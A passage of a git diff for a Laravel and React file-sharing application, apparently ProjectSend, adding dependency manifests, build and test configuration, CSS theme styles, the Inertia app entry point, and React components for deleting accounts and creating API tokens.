"node_modules/which-builtin-type": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz", + "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.2", + "function.prototype.name": "^1.1.6", + "has-tostringtag": "^1.0.2", + "is-async-function": "^2.0.0", + "is-date-object": "^1.1.0", + "is-finalizationregistry": "^1.1.0", + "is-generator-function": "^1.0.10", + "is-regex": "^1.2.1", + "is-weakref": "^1.0.2", + "isarray": "^2.0.5", + "which-boxed-primitive": "^1.1.0", + "which-collection": "^1.0.2", + "which-typed-array": "^1.1.16" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-collection": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz", + "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-map": "^2.0.3", + "is-set": "^2.0.3", + "is-weakmap": "^2.0.2", + "is-weakset": "^2.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/which-typed-array": { + "version": "1.1.18", + "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.18.tgz", + "integrity": "sha512-qEcY+KJYlWyLH9vNbsr6/5j59AXk5ni5aakf8ldzBvGde6Iz4sxZGkJyWSAueTG7QhOvNRYb1lDdFmL5Td0QKA==", + "dev": true, + "license": "MIT", + "dependencies": { + "available-typed-arrays": "^1.0.7", + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "for-each": "^0.3.3", + "gopd": "^1.2.0", + "has-tostringtag": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/wildcard": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/wildcard/-/wildcard-1.1.2.tgz", + "integrity": "sha512-DXukZJxpHA8LuotRwL0pP1+rS6CS7FF2qStDDE1C7DDg2rLud2PXRMuEDYIPhgEezwnlHNL4c+N6MfMTjCGTng==", + "license": "MIT" + }, + "node_modules/word-wrap": { + "version": "1.2.5", + "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", + "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/wrap-ansi": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz", + "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.0.0", + "string-width": "^4.1.0", + "strip-ansi": "^6.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/wrap-ansi?sponsor=1" + } + }, + "node_modules/ws": { + "version": "8.21.1", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.1.tgz", + "integrity": "sha512-+0NTnW77fFN/DjQi6k/Sq/Yvk4Sgajw7urW8V+asjXnRgDs9gyGkdb7EzgfhA4goXsRIZKE28fzIXBHEzhuiWw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + }, + "node_modules/y18n": { + "version": "5.0.8", + "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", + "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/yallist": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", + "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", + "license": "ISC" + }, + "node_modules/yargs": { + "version": "17.7.2", + "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", + "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", + "license": "MIT", + "dependencies": { + "cliui": "^8.0.1", + "escalade": "^3.1.1", + "get-caller-file": "^2.0.5", + "require-directory": "^2.1.1", + "string-width": "^4.2.3", + "y18n": "^5.0.5", + "yargs-parser": "^21.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/yargs-parser": { + "version": "21.1.1", + "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", + "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", + "license": "ISC", + "engines": { + "node": ">=12" + } + }, + "node_modules/yocto-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz", + "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + } + } +} diff --git a/package.json b/package.json new file mode 100644 index 00000000..e70008ae --- /dev/null +++ b/package.json @@ -0,0 +1,79 @@ +{ + "private": true, + "type": "module", + "scripts": { + "build": "vite build", + "build:ssr": "vite build && vite build --ssr", + "dev": "vite", + "format": "prettier --write resources/", + "format:check": "prettier --check resources/", + "lint": "eslint . --fix", + "types": "tsc --noEmit" + }, + "devDependencies": { + "@eslint/js": "^9.19.0", + "@types/ws": "^8.18.1", + "eslint": "^9.17.0", + "eslint-config-prettier": "^10.0.1", + "eslint-plugin-react": "^7.37.3", + "eslint-plugin-react-hooks": "^5.1.0", + "prettier": "^3.4.2", + "prettier-plugin-organize-imports": "^4.1.0", + "prettier-plugin-tailwindcss": "^0.6.11", + "typescript-eslint": "^8.23.0", + "ws": "^8.21.1" + }, + "dependencies": { + "@codemirror/lang-css": "^6.3.1", + "@codemirror/lang-html": "^6.4.11", + "@codemirror/lang-javascript": "^6.2.5", + "@dnd-kit/core": "^6.3.1", + "@dnd-kit/sortable": "^10.0.0", + "@dnd-kit/utilities": "^3.2.2", + "@headlessui/react": "^2.2.0", + "@inertiajs/react": "^2.0.0", + "@radix-ui/react-avatar": "^1.1.3", + "@radix-ui/react-checkbox": "^1.1.4", + "@radix-ui/react-collapsible": "^1.1.3", + "@radix-ui/react-dialog": "^1.1.6", + "@radix-ui/react-dropdown-menu": "^2.1.6", + "@radix-ui/react-label": "^2.1.2", + "@radix-ui/react-navigation-menu": "^1.2.5", + "@radix-ui/react-select": "^2.1.6", + "@radix-ui/react-separator": "^1.1.2", + "@radix-ui/react-slot": "^1.1.2", + "@radix-ui/react-toggle": "^1.1.2", + "@radix-ui/react-toggle-group": "^1.1.2", + "@radix-ui/react-tooltip": "^1.1.8", + "@tailwindcss/vite": "^4.0.6", + "@types/react": "^19.0.3", + "@types/react-dom": "^19.0.2", + "@uiw/react-codemirror": "^4.25.11", + "@uppy/aws-s3": "^5.1.0", + "@uppy/core": "^5.2.0", + "@uppy/dashboard": "^5.1.1", + "@uppy/locales": "^5.1.1", + "@uppy/react": "^5.2.0", + "@vitejs/plugin-react": "^4.3.4", + "axios": "^1.19.0", + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "concurrently": "^9.0.1", + "globals": "^15.14.0", + "laravel-vite-plugin": "^1.0", + "lucide-react": "^0.475.0", + "react": "^19.0.0", + "react-dom": "^19.0.0", + "recharts": "^3.10.1", + "tailwind-merge": "^3.0.1", + "tailwindcss": "^4.0.0", + "tailwindcss-animate": "^1.0.7", + "typescript": "^5.7.2", + "vite": "^6.0" + }, + "optionalDependencies": { + "@rollup/rollup-linux-x64-gnu": "4.9.5", + "@tailwindcss/oxide-linux-x64-gnu": "^4.0.1", + "lightningcss-linux-x64-gnu": "^1.29.1" + } +} diff --git a/phpstan.neon b/phpstan.neon new file mode 100644 index 00000000..b42598c7 --- /dev/null +++ b/phpstan.neon @@ -0,0 +1,23 @@ +includes: + - vendor/larastan/larastan/extension.neon + +parameters: + level: 8 + paths: + - app + + # These two are the host's side of the optional community-modules + # Custom Assets integration. That package is never a Composer dependency + # of this repo (Cloud must never require it; CI drops private packages + # entirely too), so its classes are unresolvable here by design — both + # files guard every use behind class_exists()/an event binding that only + # fires when the package is installed. See each one's docblock. + ignoreErrors: + - + message: '#ProjectSend\\CommunityModules\\#' + path: app/Modules/Audit/Listeners/LogCustomAssetActivity.php + reportUnmatched: false + - + message: '#ProjectSend\\CommunityModules\\#' + path: app/Modules/Platform/CustomAssets/CustomAssetsBridge.php + reportUnmatched: false diff --git a/phpunit.xml b/phpunit.xml new file mode 100644 index 00000000..ee4378ea --- /dev/null +++ b/phpunit.xml @@ -0,0 +1,34 @@ + + + + + tests/Unit + + + tests/Feature + + + + + app + + + + + + + + + + + + + + + + + diff --git a/public/.htaccess b/public/.htaccess new file mode 100644 index 00000000..3aec5e27 --- /dev/null +++ b/public/.htaccess @@ -0,0 +1,21 @@ + + + Options -MultiViews -Indexes + + + RewriteEngine On + + # Handle Authorization Header + RewriteCond %{HTTP:Authorization} . + RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] + + # Redirect Trailing Slashes If Not A Folder... + RewriteCond %{REQUEST_FILENAME} !-d + RewriteCond %{REQUEST_URI} (.+)/$ + RewriteRule ^ %1 [L,R=301] + + # Send Requests To Front Controller... + RewriteCond %{REQUEST_FILENAME} !-d + RewriteCond %{REQUEST_FILENAME} !-f + RewriteRule ^ index.php [L] + diff --git a/public/apple-touch-icon.png b/public/apple-touch-icon.png new file mode 100644 index 00000000..911fe777 Binary files /dev/null and b/public/apple-touch-icon.png differ diff --git a/public/favicon.ico b/public/favicon.ico new file mode 100644 index 00000000..8ba6ce0a Binary files /dev/null and b/public/favicon.ico differ diff --git a/public/favicon.svg b/public/favicon.svg new file mode 100644 index 00000000..66665c6d --- /dev/null +++ b/public/favicon.svg @@ -0,0 +1,11 @@ + + + + + + + + + + + diff --git a/public/images/theme-previews/compact-dark.png b/public/images/theme-previews/compact-dark.png new file mode 100644 index 00000000..337e8c8b Binary files /dev/null and b/public/images/theme-previews/compact-dark.png differ diff --git a/public/images/theme-previews/compact.png b/public/images/theme-previews/compact.png new file mode 100644 index 00000000..5e9728db Binary files /dev/null and b/public/images/theme-previews/compact.png differ diff --git a/public/images/theme-previews/default-dark.png b/public/images/theme-previews/default-dark.png new file mode 100644 index 00000000..342f2f54 Binary files /dev/null and b/public/images/theme-previews/default-dark.png differ diff --git a/public/images/theme-previews/default.png b/public/images/theme-previews/default.png new file mode 100644 index 00000000..f86831aa Binary files /dev/null and b/public/images/theme-previews/default.png differ diff --git a/public/images/theme-previews/drive-dark.png b/public/images/theme-previews/drive-dark.png new file mode 100644 index 00000000..a69eafc8 Binary files /dev/null and b/public/images/theme-previews/drive-dark.png differ diff --git a/public/images/theme-previews/drive.png b/public/images/theme-previews/drive.png new file mode 100644 index 00000000..0509898f Binary files /dev/null and b/public/images/theme-previews/drive.png differ diff --git a/public/images/theme-previews/email/branded.png b/public/images/theme-previews/email/branded.png new file mode 100644 index 00000000..42113481 Binary files /dev/null and b/public/images/theme-previews/email/branded.png differ diff --git a/public/images/theme-previews/email/default.png b/public/images/theme-previews/email/default.png new file mode 100644 index 00000000..9430980c Binary files /dev/null and b/public/images/theme-previews/email/default.png differ diff --git a/public/images/theme-previews/email/drive.png b/public/images/theme-previews/email/drive.png new file mode 100644 index 00000000..59a5bddf Binary files /dev/null and b/public/images/theme-previews/email/drive.png differ diff --git a/public/images/theme-previews/email/minimal.png b/public/images/theme-previews/email/minimal.png new file mode 100644 index 00000000..58760601 Binary files /dev/null and b/public/images/theme-previews/email/minimal.png differ diff --git a/public/images/theme-previews/gallery-dark.png b/public/images/theme-previews/gallery-dark.png new file mode 100644 index 00000000..769e7288 Binary files /dev/null and b/public/images/theme-previews/gallery-dark.png differ diff --git a/public/images/theme-previews/gallery.png b/public/images/theme-previews/gallery.png new file mode 100644 index 00000000..a4afebd0 Binary files /dev/null and b/public/images/theme-previews/gallery.png differ diff --git a/public/index.php b/public/index.php new file mode 100644 index 00000000..924966df --- /dev/null +++ b/public/index.php @@ -0,0 +1,23 @@ +handleRequest(Request::capture()); diff --git a/public/logo.svg b/public/logo.svg new file mode 100644 index 00000000..dd205532 --- /dev/null +++ b/public/logo.svg @@ -0,0 +1,32 @@ + + + + + + + + + + + + + + + + + + + + + + diff --git a/public/robots.txt b/public/robots.txt new file mode 100644 index 00000000..eb053628 --- /dev/null +++ b/public/robots.txt @@ -0,0 +1,2 @@ +User-agent: * +Disallow: diff --git a/resources/css/app.css b/resources/css/app.css new file mode 100644 index 00000000..006a8bbd --- /dev/null +++ b/resources/css/app.css @@ -0,0 +1,361 @@ +@import 'tailwindcss'; + +@plugin 'tailwindcss-animate'; + +@source '../../vendor/laravel/framework/src/Illuminate/Pagination/resources/views/*.blade.php'; + +/* + * Companion packages under packages/ (e.g. packages/cloud-modules) live + * under a gitignored directory, which Tailwind v4's default content + * detection skips entirely — without this, any utility class used only in + * a package page (never duplicated in core) silently never gets generated. + */ +@source '../../packages/*/resources/js/**/*.tsx'; + +@custom-variant dark (&:is(.dark *)); + +@theme { + --font-sans: + 'Instrument Sans', ui-sans-serif, system-ui, sans-serif, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji'; + + --radius-lg: var(--radius); + --radius-md: calc(var(--radius) - 2px); + --radius-sm: calc(var(--radius) - 4px); + + --color-background: var(--background); + --color-foreground: var(--foreground); + + --color-card: var(--card); + --color-card-foreground: var(--card-foreground); + + --color-popover: var(--popover); + --color-popover-foreground: var(--popover-foreground); + + --color-primary: var(--primary); + --color-primary-foreground: var(--primary-foreground); + + --color-secondary: var(--secondary); + --color-secondary-foreground: var(--secondary-foreground); + + --color-muted: var(--muted); + --color-muted-foreground: var(--muted-foreground); + + --color-accent: var(--accent); + --color-accent-foreground: var(--accent-foreground); + + --color-destructive: var(--destructive); + --color-destructive-foreground: var(--destructive-foreground); + + --color-success: var(--success); + --color-success-foreground: var(--success-foreground); + + --color-border: var(--border); + --color-input: var(--input); + --color-ring: var(--ring); + + --color-chart-1: var(--chart-1); + --color-chart-2: var(--chart-2); + --color-chart-3: var(--chart-3); + --color-chart-4: var(--chart-4); + --color-chart-5: var(--chart-5); + + --color-sidebar: var(--sidebar-background); + --color-sidebar-foreground: var(--sidebar-foreground); + --color-sidebar-primary: var(--sidebar-primary); + --color-sidebar-primary-foreground: var(--sidebar-primary-foreground); + --color-sidebar-accent: var(--sidebar-accent); + --color-sidebar-accent-foreground: var(--sidebar-accent-foreground); + --color-sidebar-border: var(--sidebar-border); + --color-sidebar-ring: var(--sidebar-ring); +} + +/* + The default border color has changed to `currentColor` in Tailwind CSS v4, + so we've added these compatibility styles to make sure everything still + looks the same as it did with Tailwind CSS v3. + + If we ever want to remove these styles, we need to add an explicit border + color utility to any element that depends on these defaults. +*/ +@layer base { + *, + ::after, + ::before, + ::backdrop, + ::file-selector-button { + border-color: var(--color-gray-200, currentColor); + } +} + +:root { + --background: hsl(0, 0%, 100%); + --foreground: hsl(0, 0%, 3.9%); + --card: hsl(0, 0%, 100%); + --card-foreground: hsl(0, 0%, 3.9%); + --popover: hsl(0, 0%, 100%); + --popover-foreground: hsl(0, 0%, 3.9%); + --primary: #4c2ab6; /* ProjectSend brand */ + --primary-foreground: hsl(0, 0%, 98%); + --secondary: hsl(0, 0%, 96.1%); + --secondary-foreground: hsl(0, 0%, 9%); + --muted: hsl(0, 0%, 96.1%); + --muted-foreground: hsl(0, 0%, 45.1%); + --accent: hsl(255, 60%, 96%); + --accent-foreground: hsl(255, 50%, 30%); + --destructive: hsl(0, 84.2%, 60.2%); + --destructive-foreground: hsl(0, 0%, 98%); + --success: hsl(142, 71%, 45%); + --success-foreground: hsl(0, 0%, 98%); + --border: hsl(0, 0%, 92.8%); + --input: hsl(0, 0%, 89.8%); + --ring: #4c2ab6; + --chart-1: hsl(12, 76%, 61%); + --chart-2: hsl(173, 58%, 39%); + --chart-3: hsl(197, 37%, 24%); + --chart-4: hsl(43, 74%, 66%); + --chart-5: hsl(27, 87%, 67%); + --radius: 0.5rem; + --sidebar-background: hsl(0, 0%, 98%); + --sidebar-foreground: hsl(240, 5.3%, 30%); + --sidebar-primary: #4c2ab6; + --sidebar-primary-foreground: hsl(0, 0%, 98%); + --sidebar-accent: hsl(0, 0%, 94%); + --sidebar-accent-foreground: hsl(0, 0%, 30%); + --sidebar-border: hsl(0, 0%, 91%); + --sidebar-ring: #4c2ab6; +} + +.dark { + --background: hsl(0, 0%, 9%); + --foreground: hsl(0, 0%, 98%); + --card: hsl(0, 0%, 12%); + --card-foreground: hsl(0, 0%, 98%); + --popover: hsl(0, 0%, 12%); + --popover-foreground: hsl(0, 0%, 98%); + --primary: hsl(255, 70%, 62%); /* ProjectSend brand, lightened for dark surfaces */ + --primary-foreground: hsl(0, 0%, 98%); + --secondary: hsl(0, 0%, 17%); + --secondary-foreground: hsl(0, 0%, 98%); + --muted: hsl(0, 0%, 14%); + --muted-foreground: hsl(0, 0%, 65%); + --accent: hsl(255, 25%, 18%); + --accent-foreground: hsl(255, 60%, 92%); + --destructive: hsl(0, 84%, 60%); + --destructive-foreground: hsl(0, 0%, 98%); + --success: hsl(142, 65%, 42%); + --success-foreground: hsl(0, 0%, 98%); + --border: hsl(0, 0%, 18%); + --input: hsl(0, 0%, 18%); + --ring: hsl(255, 70%, 62%); + --chart-1: hsl(220, 70%, 50%); + --chart-2: hsl(160, 60%, 45%); + --chart-3: hsl(30, 80%, 55%); + --chart-4: hsl(280, 65%, 60%); + --chart-5: hsl(340, 75%, 55%); + --sidebar-background: hsl(0, 0%, 7%); + --sidebar-foreground: hsl(0, 0%, 80%); + --sidebar-primary: hsl(255, 70%, 62%); + --sidebar-primary-foreground: hsl(0, 0%, 98%); + --sidebar-accent: hsl(0, 0%, 18%); + --sidebar-accent-foreground: hsl(240, 4.8%, 95.9%); + --sidebar-border: hsl(0, 0%, 18%); + --sidebar-ring: hsl(255, 70%, 62%); +} + +@layer base { + * { + @apply border-border; + } + + body { + @apply bg-background text-foreground; + } +} + +/* + * Uppy Dashboard: align with the app's design system. The theme + * (light/dark) is passed from React in sync with the app's toggle; + * these overrides handle typography, radius, and brand colors — our + * CSS variables flip with the theme automatically. + */ +.uppy-Dashboard-inner { + font-family: var(--font-sans); + border-radius: var(--radius-lg); + border-color: var(--border); +} + +.uppy-Dashboard-AddFiles { + border-radius: calc(var(--radius-lg) - 4px); +} + +.uppy-Dashboard-AddFiles-title { + font-size: 1rem; + line-height: 1.5; +} + +.uppy-Dashboard-browse { + color: var(--primary); + font-weight: 500; +} + +.uppy-Dashboard-browse:hover, +.uppy-Dashboard-browse:focus { + border-bottom-color: var(--primary); +} + +.uppy-DashboardContent-bar { + font-size: 0.875rem; +} + +.uppy-DashboardContent-back, +.uppy-DashboardContent-addMore { + color: var(--primary); + font-size: 0.875rem; + font-weight: 500; + padding: 6px 10px; + border-radius: var(--radius-sm); +} + +.uppy-DashboardContent-back:hover, +.uppy-DashboardContent-addMore:hover { + background-color: var(--accent); + color: var(--accent-foreground); +} + +.uppy-DashboardContent-addMore svg { + width: 14px; + height: 14px; +} + +.uppy-StatusBar-actionBtn--upload, +.uppy-c-btn-primary { + background-color: var(--primary); + font-size: 0.875rem; + font-weight: 500; +} + +.uppy-StatusBar-actionBtn--upload:hover, +.uppy-c-btn-primary:hover { + background-color: color-mix(in srgb, var(--primary) 85%, black); +} + +.uppy-Dashboard-note, +.uppy-StatusBar-statusPrimary, +.uppy-StatusBar-statusSecondary { + font-size: 0.8125rem; +} + +[data-uppy-theme='dark'] .uppy-Dashboard-inner { + background-color: var(--card); +} + +/* + * The API guide, rendered from docs/api-guide.md by ApiDocsController. + * No typography plugin is installed, and adding one for a single page + * would be a lot of CSS for one screen — these are the handful of element + * styles that markdown actually produces, scoped so they cannot leak into + * the rest of the app. + */ +.api-guide h1 { + font-size: 1.5rem; + font-weight: 600; + margin-block: 2rem 0.75rem; +} + +.api-guide h2 { + font-size: 1.125rem; + font-weight: 600; + margin-block: 2rem 0.5rem; + padding-top: 1.5rem; + border-top: 1px solid var(--border); +} + +.api-guide h3 { + font-size: 1rem; + font-weight: 600; + margin-block: 1.25rem 0.375rem; +} + +.api-guide p, +.api-guide ul, +.api-guide ol { + margin-block: 0.75rem; + line-height: 1.65; +} + +.api-guide ul, +.api-guide ol { + padding-inline-start: 1.5rem; +} + +.api-guide ul { + list-style: disc; +} + +.api-guide ol { + list-style: decimal; +} + +.api-guide li { + margin-block: 0.25rem; +} + +.api-guide a { + color: var(--primary); + text-decoration: underline; +} + +.api-guide code { + background-color: var(--muted); + border-radius: 0.25rem; + padding: 0.1rem 0.3rem; + font-size: 0.8125rem; +} + +.api-guide pre { + background-color: var(--muted); + border-radius: 0.375rem; + padding: 0.875rem 1rem; + overflow-x: auto; + margin-block: 0.875rem; +} + +.api-guide pre code { + background: none; + padding: 0; + font-size: 0.8125rem; + line-height: 1.6; +} + +.api-guide table { + width: 100%; + margin-block: 1rem; + font-size: 0.875rem; + border-collapse: collapse; +} + +.api-guide th, +.api-guide td { + border: 1px solid var(--border); + padding: 0.5rem 0.75rem; + text-align: left; + vertical-align: top; +} + +.api-guide th { + background-color: color-mix(in srgb, var(--muted) 60%, transparent); + font-weight: 600; +} + +.api-guide blockquote { + border-inline-start: 3px solid var(--border); + padding-inline-start: 1rem; + margin-block: 1rem; + color: var(--muted-foreground); +} + +.api-guide hr { + border: 0; + border-top: 1px solid var(--border); + margin-block: 2rem; +} diff --git a/resources/js/app.tsx b/resources/js/app.tsx new file mode 100644 index 00000000..57dd58c5 --- /dev/null +++ b/resources/js/app.tsx @@ -0,0 +1,56 @@ +import '../css/app.css'; + +import { createInertiaApp } from '@inertiajs/react'; +import axios from 'axios'; +import { resolvePageComponent } from 'laravel-vite-plugin/inertia-helpers'; +import { createRoot } from 'react-dom/client'; +import { route as routeFn } from 'ziggy-js'; +import { initializeTheme } from './hooks/use-appearance'; +import { xsrfCookieName } from './lib/xsrf'; + +declare global { + const route: typeof routeFn; +} + +// Inertia sends every write through axios, which reads the CSRF token +// from a cookie it expects to be called `XSRF-TOKEN`. This installation +// names that cookie after itself so a neighbouring Laravel app on the same +// hostname cannot overwrite it — so axios has to be told. Without this, +// every write 419s the moment a neighbour answers a request. +axios.defaults.xsrfCookieName = xsrfCookieName(); + +const appName = import.meta.env.VITE_APP_NAME || 'Laravel'; + +// Pages shipped by packages, re-keyed to look exactly like a host page +// (`./pages/.tsx`) so resolvePageComponent finds them the same +// way — a one-time, generic extension point so a new package's pages +// just work without touching this file again. +// +// vendor/ is the only location globbed, and it covers both ways a +// package arrives: `composer require` puts a published package there, +// and a path repository (how a dev checkout consumes a local clone) +// symlinks the clone +// there too. Globbing packages/* as well, which this did at first, +// matched the dev checkouts' pages through both paths and emitted every +// package page into the bundle twice. +const packagePages: Record Promise> = {}; +for (const [path, loader] of Object.entries(import.meta.glob('../../vendor/*/*/resources/js/pages/**/*.tsx'))) { + const match = path.match(/resources\/js\/pages\/(.+)$/); + if (match) packagePages[`./pages/${match[1]}`] = loader; +} + +createInertiaApp({ + title: (title) => `${title} - ${appName}`, + resolve: (name) => resolvePageComponent(`./pages/${name}.tsx`, { ...packagePages, ...import.meta.glob('./pages/**/*.tsx') }), + setup({ el, App, props }) { + const root = createRoot(el); + + root.render(); + }, + progress: { + color: '#4B5563', + }, +}); + +// This will set light / dark mode on load... +initializeTheme(); diff --git a/resources/js/components/account-content-delete-dialog.tsx b/resources/js/components/account-content-delete-dialog.tsx new file mode 100644 index 00000000..b4b120c9 --- /dev/null +++ b/resources/js/components/account-content-delete-dialog.tsx @@ -0,0 +1,147 @@ +import { Button } from '@/components/ui/button'; +import { Dialog, DialogClose, DialogContent, DialogDescription, DialogFooter, DialogTitle, DialogTrigger } from '@/components/ui/dialog'; +import { Input } from '@/components/ui/input'; +import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '@/components/ui/select'; +import { useTranslation } from '@/hooks/use-translation'; +import { cn } from '@/lib/utils'; +import { Check } from 'lucide-react'; +import { ReactNode, useMemo, useState } from 'react'; + +export interface ReassignCandidate { + id: number; + name: string; + role: string; +} + +interface AccountContentDeleteDialogProps { + /** The button that opens the dialog. */ + trigger: ReactNode; + name: string; + content: { files: number; folders: number }; + candidates: ReassignCandidate[]; + onConfirm: (choice: { content_action: 'cascade_delete' | 'reassign'; reassign_to_id?: number }) => void; +} + +/** + * Deleting an account that owns files/folders needs a decision on what + * happens to that content — ConfirmDialog has no slot for that extra + * choice, so this is a separate dialog rather than an extension of it. + */ +export function AccountContentDeleteDialog({ trigger, name, content, candidates, onConfirm }: AccountContentDeleteDialogProps) { + const { t } = useTranslation(); + const [open, setOpen] = useState(false); + const [contentAction, setContentAction] = useState<'cascade_delete' | 'reassign'>('cascade_delete'); + const [reassignToId, setReassignToId] = useState(''); + const [candidateSearch, setCandidateSearch] = useState(''); + + const canConfirm = contentAction === 'cascade_delete' || reassignToId !== ''; + + const filteredCandidates = useMemo(() => { + const query = candidateSearch.trim().toLowerCase(); + if (query === '') return candidates; + + return candidates.filter( + (candidate) => candidate.name.toLowerCase().includes(query) || candidate.role.toLowerCase().includes(query), + ); + }, [candidates, candidateSearch]); + + const reset = () => { + setContentAction('cascade_delete'); + setReassignToId(''); + setCandidateSearch(''); + }; + + return ( + { + setOpen(next); + if (!next) reset(); + }} + > + {trigger} + + {t('Delete account?')} + {t('The account of :name will be permanently deleted. This cannot be undone.', { name })} + +

+ {t('This account owns :files file(s) and :folders folder(s). What should happen to them?', { + files: content.files, + folders: content.folders, + })} +

+ +
+ + + {contentAction === 'reassign' && ( +
+ setCandidateSearch(e.target.value)} + autoFocus + /> +
+ {filteredCandidates.length === 0 && ( +

{t('No accounts match ":search".', { search: candidateSearch })}

+ )} + {filteredCandidates.map((candidate) => { + const value = String(candidate.id); + const selected = reassignToId === value; + + return ( + + ); + })} +
+
+ )} +
+ + + + + + + +
+
+ ); +} diff --git a/resources/js/components/api-token-form.tsx b/resources/js/components/api-token-form.tsx new file mode 100644 index 00000000..02de174f --- /dev/null +++ b/resources/js/components/api-token-form.tsx @@ -0,0 +1,166 @@ +import InputError from '@/components/input-error'; +import { Button } from '@/components/ui/button'; +import { Checkbox } from '@/components/ui/checkbox'; +import { Input } from '@/components/ui/input'; +import { Label } from '@/components/ui/label'; +import { useTranslation } from '@/hooks/use-translation'; + +export interface AbilityGroup { + category: string; + label: string; + abilities: { key: string; label: string }[]; +} + +export interface TokenFormValues { + name: string; + abilities: string[]; + expires_in_days: number; + never_expires: boolean; +} + +interface Props { + values: TokenFormValues; + setValue: (key: K, value: TokenFormValues[K]) => void; + errors: Partial>; + availableAbilities: AbilityGroup[]; + maxDays: number; +} + +/** + * The fields shared by minting a token and editing one. Kept in one place + * because the two screens must agree on what may be granted — a divergence + * would show up as an ability offered on one and not the other. + */ +export function ApiTokenForm({ values, setValue, errors, availableAbilities, maxDays }: Props) { + const { t } = useTranslation(); + + const allKeys = availableAbilities.flatMap((group) => group.abilities.map((ability) => ability.key)); + const allSelected = allKeys.length > 0 && allKeys.every((key) => values.abilities.includes(key)); + + const toggleAbility = (key: string, checked: boolean) => { + setValue('abilities', checked ? [...values.abilities, key] : values.abilities.filter((ability) => ability !== key)); + }; + + const toggleGroup = (group: AbilityGroup, checked: boolean) => { + const keys = group.abilities.map((ability) => ability.key); + + setValue('abilities', checked ? [...new Set([...values.abilities, ...keys])] : values.abilities.filter((ability) => !keys.includes(ability))); + }; + + return ( + <> +
+ + setValue('name', e.target.value)} + placeholder={t('e.g. Zapier')} + autoComplete="off" + /> +

+ {t('Name it after the tool that will use it, so you know what you are revoking later.')} +

+ +
+ +
+
+ + {allKeys.length > 0 && ( + + )} +
+

+ {t('A token can never do more than you can. Grant only what the tool needs — if your own permissions change, the token follows.')} +

+

+ {t('Only permissions the API can currently act on are listed. More appear here as new endpoints are released.')} +

+ + {availableAbilities.length === 0 && ( +

+ {t('There is nothing you can grant a token yet — none of the API endpoints released so far match your permissions.')} +

+ )} + +
+ {availableAbilities.map((group) => { + const groupSelected = group.abilities.every((ability) => values.abilities.includes(ability.key)); + + return ( +
+
+

{t(group.label)}

+ +
+
+ {group.abilities.map((ability) => ( +
+ toggleAbility(ability.key, checked === true)} + /> + +
